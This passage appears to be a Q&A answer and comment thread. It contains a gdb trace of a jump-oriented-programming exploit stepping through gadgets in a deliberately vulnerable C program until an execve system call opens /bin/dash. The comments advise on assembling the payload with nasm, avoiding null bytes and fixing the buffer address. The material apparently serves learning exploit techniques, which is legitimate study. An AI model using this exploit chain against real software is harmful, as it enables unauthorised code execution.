1: x/i $pc
=> 0x8048504 <attack_payload+41>:   inc    %ebx
(gdb) 
0x08048505  28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048505 <attack_payload+42>:   fdiv   %st,%st(1)
(gdb) 
0x08048507  28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048507 <attack_payload+44>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x80484fb <attack_payload+32>:   mov    %ah,-0x17bc0000(%ebx)
(gdb) 
0x08048501  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048501 <attack_payload+38>:   stc    
(gdb) 
0x08048502  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048502 <attack_payload+39>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048504 <attack_payload+41>:   inc    %ebx
(gdb) 
0x08048505  28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048505 <attack_payload+42>:   fdiv   %st,%st(1)
(gdb) 
0x08048507  28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048507 <attack_payload+44>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x80484fb <attack_payload+32>:   mov    %ah,-0x17bc0000(%ebx)
(gdb) 
0x08048501  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048501 <attack_payload+38>:   stc    
(gdb) 
0x08048502  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048502 <attack_payload+39>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
30  asm("popa; cmc; jmp dword ptr [ecx];");
1: x/i $pc
=> 0x8048509 <attack_payload+46>:   popa   
(gdb) 
0x0804850a  30  asm("popa; cmc; jmp dword ptr [ecx];");
1: x/i $pc
=> 0x804850a <attack_payload+47>:   cmc    
(gdb) 
0x0804850b  30  asm("popa; cmc; jmp dword ptr [ecx];");
1: x/i $pc
=> 0x804850b <attack_payload+48>:   jmp    *(%ecx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
32  asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
1: x/i $pc
=> 0x804850d <attack_payload+50>:   xchg   %eax,%ecx
(gdb) 
0x0804850e  32  asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
1: x/i $pc
=> 0x804850e <attack_payload+51>:   fdiv   %st(3),%st
(gdb) 
0x08048510  32  asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
1: x/i $pc
=> 0x8048510 <attack_payload+53>:   jmp    *-0xf(%esi)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
34  asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
1: x/i $pc
=> 0x8048513 <attack_payload+56>:   mov    0xc(%esi),%eax
(gdb) 
0x08048516  34  asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
1: x/i $pc
=> 0x8048516 <attack_payload+59>:   mov    %eax,(%esp)
(gdb) 
0x08048519  34  asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
1: x/i $pc
=> 0x8048519 <attack_payload+62>:   call   *0x4(%esi)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
36  asm("int 0x80");
1: x/i $pc
=> 0x804851c <attack_payload+65>:   int    $0x80

Look at the registers right before the system call:

(gdb) info registers
eax            0xb  11
ecx            0x8048689    134514313
edx            0x8048689    134514313
ebx            0x8048680    134514304
esp            0xffffd5cc   0xffffd5cc
ebp            0xffffd499   0xffffd499
esi            0xffffd5df   -10785
edi            0xfffffffc   -4
eip            0x804851c    0x804851c <attack_payload+65>
eflags         0x297    [ CF PF AF SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

Continuing the execution opens a shell:

(gdb) c
Continuing.
process 12191 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "overflow" not defined.
$ ps
  PID TTY          TIME CMD
11729 pts/1    00:00:00 bash
12186 pts/1    00:00:00 gdb
12191 pts/1    00:00:00 sh
12231 pts/1    00:00:00 ps
$ 
mkayaalp
  • 136
  • 3
  • It can stop on whitespace characters if you use the `%s` identifier. The character class identifier only stops for null-byte and newline character. The shellcode in your updated answer contains a lot of null-bytes. Looks like you created an object file. The `exploit.nasm` is written in assembly. The final payload is generated by running `nasm` with that assembly file. – mkayaalp Jan 16 '18 at 09:42
  • I see now that there are a lot of things one must consider, eliminating null bytes [http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html#process] and finding where the buffer is [https://dhavalkapil.com/blogs/Shellcode-Injection/]. I thought this shellcode would work since it was given as an example but I see that there are quite a few stuff that I have to fix first. This is better since I will learn more, I will post the changes if in the end I manage to fix this. – dearn44 Jan 16 '18 at 10:04
  • It should work, unless you encounter some unlucky addresses. In fact, some of those gadgets are used for writing null bytes into the registers without putting null-bytes in the attack payload. So, you can replicate that any time you need a null-byte. But you need to create the `exploit` file properly. You created a 2KB ELF file. You should run `$ nasm exploit.nasm` which creates `exploit`, which is a 408 byte file. Use `hd` to view its contents. – mkayaalp Jan 16 '18 at 10:11
  • I should have also added how I compiled exploit, my mistake, updated the question. – dearn44 Jan 16 '18 at 10:34
  • I played with it a little bit but I still get the segmentation fault error. Could you post your exact fix so I can try it? – dearn44 Jan 16 '18 at 13:49
  • The `base` points to the buffer on the stack (`buf`), so the address should be `0xffff...`. Yours say `0x804a02c` which is in the `.text` section. – mkayaalp Jan 16 '18 at 21:42
  • a simple leftover from the various tries I did. Updated the question with what I believe are the final and correct values. – dearn44 Jan 16 '18 at 22:00